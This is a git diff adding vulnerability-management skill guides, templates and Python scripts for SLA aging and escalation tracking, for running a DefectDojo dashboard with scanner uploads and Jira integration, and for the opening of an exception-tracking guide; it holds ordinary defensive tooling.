"interval": "month"}, + "aggs": { + "within_sla": { + "filter": {"script": { + "source": "doc['age_days'].value <= doc['sla_days'].value" + }} + } + } + } + } +} +``` + +## Best Practices +1. Start with achievable SLA targets and tighten them as processes mature +2. Adapt SLAs based on asset criticality and threat context, not just CVSS scores +3. Automate escalation notifications to reduce manual tracking overhead +4. Track MTTR trends month-over-month to demonstrate improvement +5. Build exception workflows that require documented compensating controls +6. Report SLA compliance to executive leadership monthly for accountability +7. Include aging metrics in security committee and board-level reporting +8. Integrate SLA tracking with ITSM ticketing for end-to-end remediation visibility + +## Common Pitfalls +- Setting unrealistic SLA targets that teams cannot meet, causing SLA fatigue +- Not adapting SLAs for asset criticality, treating all systems equally +- Lacking exception processes, forcing teams to either ignore SLAs or request blanket waivers +- Measuring only open vulnerability count without considering age and SLA compliance +- Not tracking the SLA clock from discovery date (using report date instead) +- Failing to re-baseline SLAs as team maturity improves + +## Related Skills +- implementing-vulnerability-remediation-sla +- building-executive-vulnerability-risk-report +- implementing-security-metrics-and-kpis +- performing-remediation-validation-scanning diff --git a/skills/building-vulnerability-aging-and-sla-tracking/assets/template.md b/skills/building-vulnerability-aging-and-sla-tracking/assets/template.md new file mode 100644 index 00000000..d31e48a3 --- /dev/null +++ b/skills/building-vulnerability-aging-and-sla-tracking/assets/template.md @@ -0,0 +1,28 @@ +# Vulnerability Aging and SLA Compliance Report Template + +## KPI Summary +| Metric | Current Month | Prior Month | Target | Trend | +|--------|--------------|-------------|--------|-------| +| Total Open Vulnerabilities | [N] | [N] | Decreasing | [Up/Down] | +| MTTR (all severities) | [N] days | [N] days | < 30 days | [Up/Down] | +| SLA Compliance Rate | [N]% | [N]% | >= 90% | [Up/Down] | +| Overdue Count | [N] | [N] | 0 | [Up/Down] | +| Exception Count | [N] | [N] | < 5% | [Up/Down] | + +## Aging Distribution +| Age Bucket | Critical | High | Medium | Low | Total | +|------------|----------|------|--------|-----|-------| +| 0-7 days | [N] | [N] | [N] | [N] | [N] | +| 8-14 days | [N] | [N] | [N] | [N] | [N] | +| 15-30 days | [N] | [N] | [N] | [N] | [N] | +| 31-60 days | [N] | [N] | [N] | [N] | [N] | +| 61-90 days | [N] | [N] | [N] | [N] | [N] | +| 90+ days | [N] | [N] | [N] | [N] | [N] | + +## Escalation Summary +| Level | Count | Top Offending Team | +|-------|-------|--------------------| +| Owner Reminder (50%) | [N] | [Team] | +| Manager Escalation (75%) | [N] | [Team] | +| CISO Notification (100%) | [N] | [Team] | +| VP/CTO Escalation (120%+) | [N] | [Team] | diff --git a/skills/building-vulnerability-aging-and-sla-tracking/references/standards.md b/skills/building-vulnerability-aging-and-sla-tracking/references/standards.md new file mode 100644 index 00000000..6e891737 --- /dev/null +++ b/skills/building-vulnerability-aging-and-sla-tracking/references/standards.md @@ -0,0 +1,27 @@ +# Standards and References - Vulnerability Aging and SLA Tracking + +## Industry Standards +- **NIST SP 800-40 Rev 4**: Guide to Enterprise Patch Management Planning +- **CIS Controls v8.1 Control 7**: Continuous Vulnerability Management +- **PCI DSS v4.0 Req 6.3.3**: Security patches installed within one month +- **BOD 22-01**: CISA remediation timelines for KEV vulnerabilities +- **ISO 27001:2022 A.8.8**: Management of technical vulnerabilities + +## SLA Benchmark References +- Tenable SLA Remediation: https://docs.tenable.com/cyber-exposure-studies/cyber-exposure-insurance/Content/SLARemediation.htm +- Nucleus Security SLA Guide: https://nucleussec.com/blog/how-to-define-vulnerability-remediation-slas-shortcuts-2/ +- Phoenix Security SLA Framework: https://phoenix.security/vulnerability-timelines-sla-measurement-and-prioritization/ + +## Industry SLA Benchmarks +| Source | Critical | High | Medium | Low | +|--------|----------|------|--------|-----| +| CISA BOD 22-01 | 2 weeks | N/A | N/A | N/A | +| PCI DSS | 30 days | 30 days | 90 days | 90 days | +| Industry Average | 14 days | 30 days | 60 days | 90 days | +| Aggressive Target | 48 hours | 7 days | 30 days | 60 days | + +## Vulnerability Statistics (2024) +- Total new CVEs published: 30,000+ +- Year-over-year increase: 17% +- Average MTTR across industries: ~60 days +- Top-performing organizations MTTR: < 15 days for critical diff --git a/skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md b/skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md new file mode 100644 index 00000000..49801a9e --- /dev/null +++ b/skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md @@ -0,0 +1,35 @@ +# Workflows - Vulnerability Aging and SLA Tracking + +## Workflow 1: SLA Lifecycle + +``` +┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ +│ Vulnerability │────>│ Assign Severity │────>│ Calculate SLA │ +│ Discovered │ │ + Asset Context │ │ Deadline │ +└──────────────────┘ └──────────────────┘ └──────────────────┘ + │ │ + v v +┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ +│ Create Ticket │────>│ Monitor Aging │────>│ Trigger │ +│ (ITSM) │ │ (Daily) │ │ Escalations │ +└──────────────────┘ └──────────────────┘ └──────────────────┘ +``` + +## Workflow 2: Escalation Ladder + +``` +SLA % Elapsed: + 50% ──> Email reminder to asset owner + 75% ──> Escalation to owner's manager + 100% ──> CISO notification, marked overdue + 120% ──> VP/CTO escalation, exception required +``` + +## Workflow 3: Monthly Reporting Cycle + +``` +Week 1: Collect scan data and aging metrics +Week 2: Generate KPI dashboard +Week 3: Present to security committee +Week 4: Action items assigned, SLA adjustments if needed +``` diff --git a/skills/building-vulnerability-aging-and-sla-tracking/scripts/process.py b/skills/building-vulnerability-aging-and-sla-tracking/scripts/process.py new file mode 100644 index 00000000..53f142e3 --- /dev/null +++ b/skills/building-vulnerability-aging-and-sla-tracking/scripts/process.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +""" +Vulnerability Aging and SLA Tracking Engine + +Calculates vulnerability aging, SLA compliance, and generates +escalation reports and KPI dashboards. + +Requirements: + pip install pandas + +Usage: + python process.py analyze --csv vulns.csv --output aging_report.csv + python process.py kpis --csv vulns.csv + python process.py escalations --csv vulns.csv --output escalations.csv +""" + +import argparse +import sys +from datetime import datetime, timedelta + +import pandas as pd + + +SLA_DAYS = { + "Critical": 14, + "High": 30, + "Medium": 60, + "Low": 90, +} + + +def calculate_aging(df, sla_config=None): + """Add aging and SLA columns to vulnerability dataframe.""" + sla = sla_config or SLA_DAYS + today = pd.Timestamp.now() + + df["discovery_date"] = pd.to_datetime(df["discovery_date"]) + df["remediation_date"] = pd.to_datetime(df["remediation_date"], errors="coerce") + + df["age_days"] = df.apply( + lambda r: (r["remediation_date"] - r["discovery_date"]).days + if pd.notna(r["remediation_date"]) + else (today - r["discovery_date"]).days, + axis=1 + ) + + df["sla_days"] = df["severity"].map(sla).fillna(90).astype(int) + df["sla_deadline"] = df["discovery_date"] + pd.to_timedelta(df["sla_days"], unit="D") + df["is_open"] = df["remediation_date"].isna() + df["is_overdue"] = df["is_open"] & (df["age_days"] > df["sla_days"]) + df["days_overdue"] = df.apply( + lambda r: max(0, r["age_days"] - r["sla_days"]) if r["is_overdue"] else 0, + axis=1 + ) + df["sla_pct_elapsed"] = (df["age_days"] / df["sla_days"] * 100).round(1) + df["within_sla"] = df.apply( + lambda r: r["age_days"] <= r["sla_days"] + if pd.notna(r["remediation_date"]) else None, + axis=1 + ) + + return df + + +def generate_kpis(df): + """Generate KPI summary.""" + open_df = df[df["is_open"]] + closed_df = df[~df["is_open"]] + + print(f"\n{'=' * 60}") + print("VULNERABILITY AGING KPI REPORT") + print(f"{'=' * 60}") + print(f"Report Date: {datetime.now().strftime('%Y-%m-%d')}") + print(f"Total Vulnerabilities: {len(df)}") + print(f"Open: {len(open_df)}") + print(f"Closed: {len(closed_df)}") + print(f"Overdue: {open_df['is_overdue'].sum()}") + + if len(closed_df) > 0: + mttr = closed_df["age_days"].mean() + sla_rate = closed_df["within_sla"].mean() * 100 + print(f"\nMTTR (all): {mttr:.1f} days") + print(f"SLA Compliance Rate: {sla_rate:.1f}%") + + for sev in ["Critical", "High", "Medium", "Low"]: + sev_df = closed_df[closed_df["severity"] == sev] + if len(sev_df) > 0: + print(f" {sev} MTTR: {sev_df['age_days'].mean():.1f}d " + f"| SLA: {sev_df['within_sla'].mean() * 100:.1f}%") + + print(f"\nOpen Vulnerabilities by Age:") + bins = [0, 7, 14, 30, 60, 90, float("inf")] + labels = ["0-7d", "8-14d", "15-30d", "31-60d", "61-90d", "90+d"] + if len(open_df) > 0: + open_df = open_df.copy() + open_df["age_bucket"] = pd.cut(open_df["age_days"], bins=bins, labels=labels) + print(open_df["age_bucket"].value_counts().sort_index().to_string()) + + print(f"\nOverdue by Severity:") + overdue = open_df[open_df["is_overdue"]] + if len(overdue) > 0: + print(overdue.groupby("severity")["days_overdue"].agg(["count", "mean", "max"]).to_string()) + + +def generate_escalations(df): + """Generate escalation list.""" + open_df = df[df["is_open"]].copy() + escalations = [] + + for _, row in open_df.iterrows(): + pct = row["sla_pct_elapsed"] + if pct >= 120: + level = "VP/CTO Escalation" + elif pct >= 100: + level = "CISO Notification" + elif pct >= 75: + level = "Manager Escalation" + elif pct >= 50: + level = "Owner Reminder" + else: + continue + + escalations.append({ + "cve_id": row.get("cve_id", ""), + "severity": row["severity"], + "asset": row.get("asset", ""), + "owner": row.get("owner", ""), + "age_days": row["age_days"], + "sla_days": row["sla_days"], + "days_overdue": row["days_overdue"], + "sla_pct": pct, + "escalation_level": level, + }) + + return pd.DataFrame(escalations).sort_values("sla_pct", ascending=False) + + +def main(): + parser = argparse.ArgumentParser(description="Vulnerability Aging and SLA Tracker") + subparsers = parser.add_subparsers(dest="command") + + analyze_p = subparsers.add_parser("analyze", help="Calculate aging metrics") + analyze_p.add_argument("--csv", required=True) + analyze_p.add_argument("--output", default="aging_report.csv") + + subparsers.add_parser("kpis", help="Generate KPI summary").add_argument("--csv", required=True) + + esc_p = subparsers.add_parser("escalations", help="Generate escalation list") + esc_p.add_argument("--csv", required=True) + esc_p.add_argument("--output", default="escalations.csv") + + args = parser.parse_args() + + if not args.command: + parser.print_help() + sys.exit(1) + + df = pd.read_csv(args.csv) + df = calculate_aging(df) + + if args.command == "analyze": + df.to_csv(args.output, index=False) + print(f"[+] Aging report saved to {args.output}") + generate_kpis(df) + elif args.command == "kpis": + generate_kpis(df) + elif args.command == "escalations": + esc_df = generate_escalations(df) + esc_df.to_csv(args.output, index=False) + print(f"[+] {len(esc_df)} escalations saved to {args.output}") + if len(esc_df) > 0: + print(esc_df["escalation_level"].value_counts().to_string()) + + +if __name__ == "__main__": + main() diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md b/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md new file mode 100644 index 00000000..4f3d8f1d --- /dev/null +++ b/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md @@ -0,0 +1,227 @@ +--- +name: building-vulnerability-dashboard-with-defectdojo +description: Deploy DefectDojo as a centralized vulnerability management dashboard with scanner integrations, deduplication, metrics tracking, and Jira ticketing workflows. +domain: cybersecurity +subdomain: vulnerability-management +tags: [defectdojo, vulnerability-management, dashboard, deduplication, scanner-integration, devsecops, jira] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Vulnerability Dashboard with DefectDojo + +## Overview + +DefectDojo is an open-source application vulnerability management platform that aggregates findings from 200+ security tools, deduplicates results, tracks remediation progress, and provides executive dashboards. It serves as a central hub for vulnerability management, integrating with CI/CD pipelines, Jira for ticketing, and Slack for notifications. DefectDojo supports OWASP-based categorization and provides REST API for automation. + +## Prerequisites + +- Docker and Docker Compose +- 4GB+ RAM, 2+ CPU cores, 20GB+ disk +- PostgreSQL 12+ (included in Docker deployment) +- Python 3.9+ for API integration scripts +- Jira instance (optional, for ticket integration) + +## Deployment + +### Docker Compose Deployment +```bash +# Clone DefectDojo repository +git clone https://github.com/DefectDojo/django-DefectDojo.git +cd django-DefectDojo + +# Start with Docker Compose (production mode) +./dc-up-d.sh + +# Alternative: manual Docker Compose +docker compose up -d + +# Check service status +docker compose ps + +# View initial admin credentials +docker compose logs initializer 2>&1 | grep "Admin password" + +# Access DefectDojo at http://localhost:8080 +``` + +### Environment Configuration +```bash +# Key environment variables in docker-compose.yml +DD_DATABASE_ENGINE=django.db.backends.postgresql +DD_DATABASE_HOST=postgres +DD_DATABASE_PORT=5432 +DD_DATABASE_NAME=defectdojo +DD_DATABASE_USER=defectdojo +DD_DATABASE_PASSWORD= +DD_ALLOWED_HOSTS=* +DD_SECRET_KEY= +DD_CREDENTIAL_AES_256_KEY= +DD_SOCIAL_AUTH_GOOGLE_OAUTH2_ENABLED=True +``` + +## Organizational Structure + +### Hierarchy +``` +Product Type (Business Unit) + └── Product (Application/Service) + └── Engagement (Assessment/Sprint) + └── Test (Scanner Run) + └── Finding (Individual Vulnerability) +``` + +### Setup via API +```python +import requests + +DD_URL = "http://localhost:8080/api/v2" +API_KEY = "your_api_key_here" +HEADERS = {"Authorization": f"Token {API_KEY}", "Content-Type": "application/json"} + +# Create Product Type +resp = requests.post(f"{DD_URL}/product_types/", headers=HEADERS, json={ + "name": "Web Applications", + "description": "Customer-facing web application portfolio" +}) +product_type_id = resp.json()["id"] + +# Create Product +resp = requests.post(f"{DD_URL}/products/", headers=HEADERS, json={ + "name": "Customer Portal", + "description": "Main customer-facing web application", + "prod_type": product_type_id, + "sla_configuration": 1, +}) +product_id = resp.json()["id"] + +# Create Engagement +resp = requests.post(f"{DD_URL}/engagements/", headers=HEADERS, json={ + "name": "Q1 2024 Security Assessment", + "product": product_id, + "target_start": "2024-01-01", + "target_end": "2024-03-31", + "engagement_type": "CI/CD", + "status": "In Progress", +}) +engagement_id = resp.json()["id"] +``` + +## Scanner Integration + +### Import Scan Results via API +```bash +# Upload Nessus scan results +curl -X POST "${DD_URL}/reimport-scan/" \ + -H "Authorization: Token ${API_KEY}" \ + -F "scan_type=Nessus Scan" \ + -F "file=@nessus_report.csv" \ + -F "product_name=Customer Portal" \ + -F "engagement_name=Q1 2024 Security Assessment" \ + -F "auto_create_context=true" \ + -F "deduplication_on_engagement=true" + +# Upload OWASP ZAP results +curl -X POST "${DD_URL}/reimport-scan/" \ + -H "Authorization: Token ${API_KEY}" \ + -F "scan_type=ZAP Scan" \ + -F "file=@zap_report.xml" \ + -F "product_name=Customer Portal" \ + -F "engagement_name=Q1 2024 Security Assessment" \ + -F "auto_create_context=true" + +# Upload Trivy container scan +curl -X POST "${DD_URL}/reimport-scan/" \ + -H "Authorization: Token ${API_KEY}" \ + -F "scan_type=Trivy Scan" \ + -F "file=@trivy_results.json" \ + -F "product_name=Customer Portal" \ + -F "engagement_name=Q1 2024 Security Assessment" \ + -F "auto_create_context=true" +``` + +### Supported Scanner Types (Partial List) +| Scanner | Type String | Format | +|---------|------------|--------| +| Nessus | Nessus Scan | CSV/XML | +| OpenVAS | OpenVAS CSV | CSV | +| Qualys | Qualys Scan | XML | +| OWASP ZAP | ZAP Scan | XML/JSON | +| Burp Suite | Burp XML | XML | +| Trivy | Trivy Scan | JSON | +| Semgrep | Semgrep JSON Report | JSON | +| Snyk | Snyk Scan | JSON | +| SonarQube | SonarQube Scan | JSON | +| Checkov | Checkov Scan | JSON | + +### CI/CD Integration (GitHub Actions) +```yaml +# .github/workflows/security-scan.yml +name: Security Scan +on: [push] +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Run Semgrep + run: | + pip install semgrep + semgrep --config auto --json -o semgrep_results.json . + - name: Upload to DefectDojo + run: | + curl -X POST "${{ secrets.DD_URL }}/api/v2/reimport-scan/" \ + -H "Authorization: Token ${{ secrets.DD_API_KEY }}" \ + -F "scan_type=Semgrep JSON Report" \ + -F "file=@semgrep_results.json" \ + -F "product_name=${{ github.event.repository.name }}" \ + -F "engagement_name=CI/CD" \ + -F "auto_create_context=true" +``` + +## Jira Integration + +```python +# Configure Jira integration in DefectDojo settings +jira_config = { + "url": "https://company.atlassian.net", + "username": "jira-bot@company.com", + "password": "jira_api_token", + "default_issue_type": "Bug", + "critical_mapping_severity": "Blocker", + "high_mapping_severity": "Critical", + "medium_mapping_severity": "Major", + "low_mapping_severity": "Minor", + "finding_text": "**Vulnerability**: {{ finding.title }}\n**Severity**: {{ finding.severity }}\n**CVE**: {{ finding.cve }}\n**Description**: {{ finding.description }}", + "accepted_mapping_resolution": "Done", + "close_status_key": 6, +} +``` + +## Metrics and Dashboards + +### Key Metrics API Queries +```python +# Get finding counts by severity +resp = requests.get(f"{DD_URL}/findings/?limit=0&active=true", + headers=HEADERS) +findings = resp.json() + +# Get SLA breach counts +resp = requests.get(f"{DD_URL}/findings/?limit=0&active=true&sla_breached=true", + headers=HEADERS) + +# Get product-level metrics +resp = requests.get(f"{DD_URL}/products/{product_id}/", + headers=HEADERS) +product_data = resp.json() +``` + +## References + +- [DefectDojo GitHub](https://github.com/DefectDojo/django-DefectDojo) +- [DefectDojo Documentation](https://defectdojo.github.io/django-DefectDojo/) +- [DefectDojo REST API](https://defectdojo.github.io/django-DefectDojo/integrations/api-v2-docs/) +- [OWASP DefectDojo Project](https://owasp.org/www-project-defectdojo/) +- [DefectDojo Integrations](https://defectdojo.com/integrations) diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md b/skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md new file mode 100644 index 00000000..1533a22a --- /dev/null +++ b/skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md @@ -0,0 +1,69 @@ +# DefectDojo Configuration Template + +## Product Hierarchy Setup + +### Product Types (Business Units) +| Product Type | Description | +|-------------|------------| +| Web Applications | Customer-facing web applications | +| Mobile Applications | iOS and Android apps | +| Internal Tools | Employee-facing internal applications | +| Infrastructure | Network and cloud infrastructure | +| APIs | REST and GraphQL API services | + +### Scanner Type Mappings +| Scanner | DefectDojo Scan Type | File Format | +|---------|---------------------|-------------| +| Nessus | Nessus Scan | .csv or .nessus | +| OWASP ZAP | ZAP Scan | .xml or .json | +| Burp Suite | Burp XML | .xml | +| Trivy | Trivy Scan | .json | +| Semgrep | Semgrep JSON Report | .json | +| Snyk | Snyk Scan | .json | +| SonarQube | SonarQube Scan | .json | +| Checkov | Checkov Scan | .json | +| Bandit | Bandit Scan | .json | +| OpenVAS | OpenVAS CSV | .csv | +| Qualys | Qualys Scan | .xml | + +## SLA Configuration + +| Severity | Days to Remediate | +|----------|------------------| +| Critical | 7 | +| High | 30 | +| Medium | 90 | +| Low | 120 | +| Info | No SLA | + +## Jira Integration Settings + +``` +Jira URL: https://company.atlassian.net +Project Key: SEC +Issue Type: Bug +Priority Mapping: + Critical -> Blocker + High -> Critical + Medium -> Major + Low -> Minor +Auto-close: Yes (when finding is closed in DefectDojo) +``` + +## CI/CD Integration Snippet + +```yaml +# Generic CI/CD step for DefectDojo upload +- name: Upload scan results to DefectDojo + env: + DD_URL: ${{ secrets.DEFECTDOJO_URL }} + DD_API_KEY: ${{ secrets.DEFECTDOJO_API_KEY }} + run: | + curl -X POST "${DD_URL}/api/v2/reimport-scan/" \ + -H "Authorization: Token ${DD_API_KEY}" \ + -F "scan_type=${SCAN_TYPE}" \ + -F "file=@${SCAN_FILE}" \ + -F "product_name=${PRODUCT_NAME}" \ + -F "auto_create_context=true" \ + -F "close_old_findings=true" +``` diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md b/skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md new file mode 100644 index 00000000..4fd3d9af --- /dev/null +++ b/skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md @@ -0,0 +1,36 @@ +# Standards and References - DefectDojo Vulnerability Dashboard + +## Primary References + +### DefectDojo Project +- **GitHub**: https://github.com/DefectDojo/django-DefectDojo +- **Documentation**: https://defectdojo.github.io/django-DefectDojo/ +- **API v2 Docs**: https://defectdojo.github.io/django-DefectDojo/integrations/api-v2-docs/ +- **OWASP Project Page**: https://owasp.org/www-project-defectdojo/ +- **License**: BSD-3-Clause + +### Supported Scanner Integrations +- **Full List**: https://defectdojo.com/integrations +- **200+ parsers** including Nessus, Qualys, Burp Suite, ZAP, Trivy, Semgrep, SonarQube, Snyk, Checkov, and more + +### OWASP Application Security Verification Standard (ASVS) +- **URL**: https://owasp.org/www-project-application-security-verification-standard/ +- **Relevance**: DefectDojo categorizes findings using OWASP taxonomy + +### NIST SP 800-53 Rev 5 - RA-5 +- **Title**: Vulnerability Monitoring and Scanning +- **Relevance**: DefectDojo supports centralized vulnerability tracking as required by RA-5 + +### PCI DSS v4.0 - Requirement 6 +- **Relevance**: DefectDojo tracks application security findings for PCI compliance + +## Deployment Requirements + +| Component | Minimum | Recommended | +|-----------|---------|-------------| +| CPU | 2 cores | 4 cores | +| RAM | 4 GB | 8 GB | +| Disk | 20 GB | 50 GB+ | +| PostgreSQL | 12+ | 15+ | +| Docker | 20.10+ | Latest stable | +| Docker Compose | 2.0+ | Latest stable | diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md b/skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md new file mode 100644 index 00000000..308a136e --- /dev/null +++ b/skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md @@ -0,0 +1,43 @@ +# Workflows - DefectDojo Vulnerability Dashboard + +## Workflow 1: Initial Setup and Configuration + +### Steps +1. Clone DefectDojo repository and deploy with Docker Compose +2. Configure admin account and change default password +3. Create Product Types aligned with business units +4. Create Products for each application/service +5. Configure Jira integration for ticket management +6. Configure Slack/Teams webhook for notifications +7. Set up SLA policies for each severity level +8. Create API keys for scanner integration + +## Workflow 2: CI/CD Scanner Integration + +### Steps +1. Add scan step to CI/CD pipeline (GitHub Actions, GitLab CI, Jenkins) +2. Run security scanner (Semgrep, Trivy, ZAP, etc.) +3. Upload scan results to DefectDojo via reimport-scan API +4. DefectDojo deduplicates findings against existing data +5. New findings trigger Jira ticket creation +6. Closed findings auto-close associated Jira tickets +7. Pipeline receives pass/fail status based on finding severity + +## Workflow 3: Vulnerability Triage + +### Steps +1. Security analyst reviews new findings in DefectDojo dashboard +2. For each finding: verify, assign severity, set risk acceptance status +3. Valid findings: push to Jira for remediation tracking +4. False positives: mark as false positive with justification +5. Risk accepted: document compensating controls and set expiration +6. Track remediation progress through DefectDojo metrics + +## Workflow 4: Executive Reporting + +### Steps +1. Pull metrics via DefectDojo API for reporting period +2. Calculate: total findings, new vs closed, SLA compliance rate +3. Generate product-level and business-unit-level summaries +4. Track mean time to remediate by severity +5. Export dashboard data for executive presentation diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/scripts/process.py b/skills/building-vulnerability-dashboard-with-defectdojo/scripts/process.py new file mode 100644 index 00000000..25f245e2 --- /dev/null +++ b/skills/building-vulnerability-dashboard-with-defectdojo/scripts/process.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python3 +"""DefectDojo Vulnerability Dashboard Automation. + +Manages products, engagements, scan imports, and metrics via the +DefectDojo REST API v2. +""" + +import argparse +import json +import os +import sys +from datetime import datetime, timezone +from pathlib import Path + +import requests + +DD_URL = os.environ.get("DD_URL", "http://localhost:8080/api/v2") +DD_API_KEY = os.environ.get("DD_API_KEY", "") + + +def get_headers(): + return { + "Authorization": f"Token {DD_API_KEY}", + "Content-Type": "application/json", + } + + +def create_product_type(name, description=""): + resp = requests.post( + f"{DD_URL}/product_types/", + headers=get_headers(), + json={"name": name, "description": description}, + timeout=30, + ) + resp.raise_for_status() + pt = resp.json() + print(f"[+] Created product type: {name} (ID: {pt['id']})") + return pt["id"] + + +def create_product(name, product_type_id, description=""): + resp = requests.post( + f"{DD_URL}/products/", + headers=get_headers(), + json={ + "name": name, + "description": description, + "prod_type": product_type_id, + }, + timeout=30, + ) + resp.raise_for_status() + product = resp.json() + print(f"[+] Created product: {name} (ID: {product['id']})") + return product["id"] + + +def create_engagement(name, product_id, start_date=None, end_date=None): + if not start_date: + start_date = datetime.now(timezone.utc).strftime("%Y-%m-%d") + if not end_date: + end_date = "2025-12-31" + resp = requests.post( + f"{DD_URL}/engagements/", + headers=get_headers(), + json={ + "name": name, + "product": product_id, + "target_start": start_date, + "target_end": end_date, + "engagement_type": "CI/CD", + "status": "In Progress", + }, + timeout=30, + ) + resp.raise_for_status() + eng = resp.json() + print(f"[+] Created engagement: {name} (ID: {eng['id']})") + return eng["id"] + + +def import_scan(scan_file, scan_type, product_name, engagement_name=None): + """Import or reimport scan results into DefectDojo.""" + data = { + "scan_type": scan_type, + "product_name": product_name, + "auto_create_context": "true", + "deduplication_on_engagement": "true", + "close_old_findings": "true", + } + if engagement_name: + data["engagement_name"] = engagement_name + + with open(scan_file, "rb") as f: + resp = requests.post( + f"{DD_URL}/reimport-scan/", + headers={"Authorization": f"Token {DD_API_KEY}"}, + data=data, + files={"file": f}, + timeout=120, + ) + + if resp.status_code in (200, 201): + result = resp.json() + test_id = result.get("test", 0) + print(f"[+] Scan imported successfully (Test ID: {test_id})") + print(f" New findings: {result.get('statistics', {}).get('created', 0)}") + print(f" Closed findings: {result.get('statistics', {}).get('closed', 0)}") + print(f" Reactivated: {result.get('statistics', {}).get('reactivated', 0)}") + return result + else: + print(f"[-] Import failed: {resp.status_code} {resp.text}") + return None + + +def get_findings(product_id=None, severity=None, active=True, limit=100): + """Query findings with filters.""" + params = {"limit": limit, "active": str(active).lower()} + if product_id: + params["test__engagement__product"] = product_id + if severity: + params["severity"] = severity + + resp = requests.get(f"{DD_URL}/findings/", headers=get_headers(), params=params, timeout=30) + resp.raise_for_status() + return resp.json() + + +def get_metrics(product_id=None): + """Get vulnerability metrics for dashboard.""" + params = {"limit": 0} + if product_id: + params["test__engagement__product"] = product_id + + metrics = {} + for severity in ["Critical", "High", "Medium", "Low", "Info"]: + resp = requests.get( + f"{DD_URL}/findings/", + headers=get_headers(), + params={**params, "severity": severity, "active": "true"}, + timeout=30, + ) + if resp.status_code == 200: + metrics[severity] = resp.json().get("count", 0) + + # SLA breached findings + resp = requests.get( + f"{DD_URL}/findings/", + headers=get_headers(), + params={**params, "active": "true", "is_mitigated": "false"}, + timeout=30, + ) + if resp.status_code == 200: + metrics["total_active"] = resp.json().get("count", 0) + + return metrics + + +def generate_dashboard_report(output_path, product_id=None): + """Generate dashboard metrics report.""" + metrics = get_metrics(product_id) + report = { + "generated_at": datetime.now(timezone.utc).isoformat(), + "active_findings": metrics, + "total_active": metrics.get("total_active", 0), + } + with open(output_path, "w", encoding="utf-8") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Dashboard Report: {output_path}") + print(f" Critical: {metrics.get('Critical', 0)}") + print(f" High: {metrics.get('High', 0)}") + print(f" Medium: {metrics.get('Medium', 0)}") + print(f" Low: {metrics.get('Low', 0)}") + print(f" Total Active: {metrics.get('total_active', 0)}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="DefectDojo Dashboard Automation") + parser.add_argument("--url", default=DD_URL, help="DefectDojo API URL") + parser.add_argument("--api-key", default=DD_API_KEY, help="API key") + + sub = parser.add_subparsers(dest="command") + + setup = sub.add_parser("setup", help="Create product type, product, engagement") + setup.add_argument("--product-type", required=True) + setup.add_argument("--product", required=True) + setup.add_argument("--engagement", default="CI/CD") + + imp = sub.add_parser("import", help="Import scan results") + imp.add_argument("--file", required=True) + imp.add_argument("--scan-type", required=True) + imp.add_argument("--product", required=True) + imp.add_argument("--engagement") + + dash = sub.add_parser("dashboard", help="Generate dashboard report") + dash.add_argument("--product-id", type=int) + dash.add_argument("--output", default="defectdojo_dashboard.json") + + findings = sub.add_parser("findings", help="List findings") + findings.add_argument("--product-id", type=int) + findings.add_argument("--severity") + findings.add_argument("--limit", type=int, default=20) + + args = parser.parse_args() + + global DD_URL, DD_API_KEY + DD_URL = args.url + if args.api_key: + DD_API_KEY = args.api_key + + if args.command == "setup": + pt_id = create_product_type(args.product_type) + prod_id = create_product(args.product, pt_id) + create_engagement(args.engagement, prod_id) + elif args.command == "import": + import_scan(args.file, args.scan_type, args.product, args.engagement) + elif args.command == "dashboard": + generate_dashboard_report(args.output, args.product_id) + elif args.command == "findings": + result = get_findings(args.product_id, args.severity, limit=args.limit) + for f in result.get("results", []): + print(f" [{f['severity']}] {f['title']} (ID: {f['id']})") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/building-vulnerability-exception-tracking-system/SKILL.md b/skills/building-vulnerability-exception-tracking-system/SKILL.md new file mode 100644 index 00000000..461fd900 --- /dev/null +++ b/skills/building-vulnerability-exception-tracking-system/SKILL.md @@ -0,0 +1,161 @@ +--- +name: building-vulnerability-exception-tracking-system +description: Build a vulnerability exception and risk acceptance tracking system with approval workflows, compensating controls documentation, and expiration management. +domain: cybersecurity +subdomain: vulnerability-management +tags: [vulnerability-exception, risk-acceptance, compensating-controls, exception-tracking, vulnerability-management, governance] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Vulnerability Exception Tracking System + +## Overview + +A vulnerability exception tracking system manages cases where vulnerabilities cannot be remediated within SLA timelines. It provides structured workflows for requesting exceptions, documenting compensating controls, obtaining risk acceptance approvals, and automatically expiring exceptions when their validity period ends. This ensures organizations maintain visibility into accepted risks while complying with frameworks like PCI DSS, SOC 2, and NIST CSF. + +## Prerequisites + +- Python 3.9+ with `flask`, `sqlalchemy`, `requests`, `jinja2` +- PostgreSQL or SQLite database +- Email/Slack integration for approval notifications +- Vulnerability management platform API (DefectDojo, Qualys, Tenable) + +## Exception Request Workflow + +### Exception Categories +| Category | Description | Max Duration | Approver Level | +|----------|------------|-------------|----------------| +| Remediation Delay | Patch available but deployment blocked | 30 days | Team Lead + Security | +| No Fix Available | Vendor has not released a patch | 90 days | Security Director | +| Business Critical | System cannot be patched without outage | 60 days | VP Engineering + CISO | +| False Positive | Finding is not a real vulnerability | Permanent | Security Analyst | +| Compensating Control | Alternative mitigation in place | 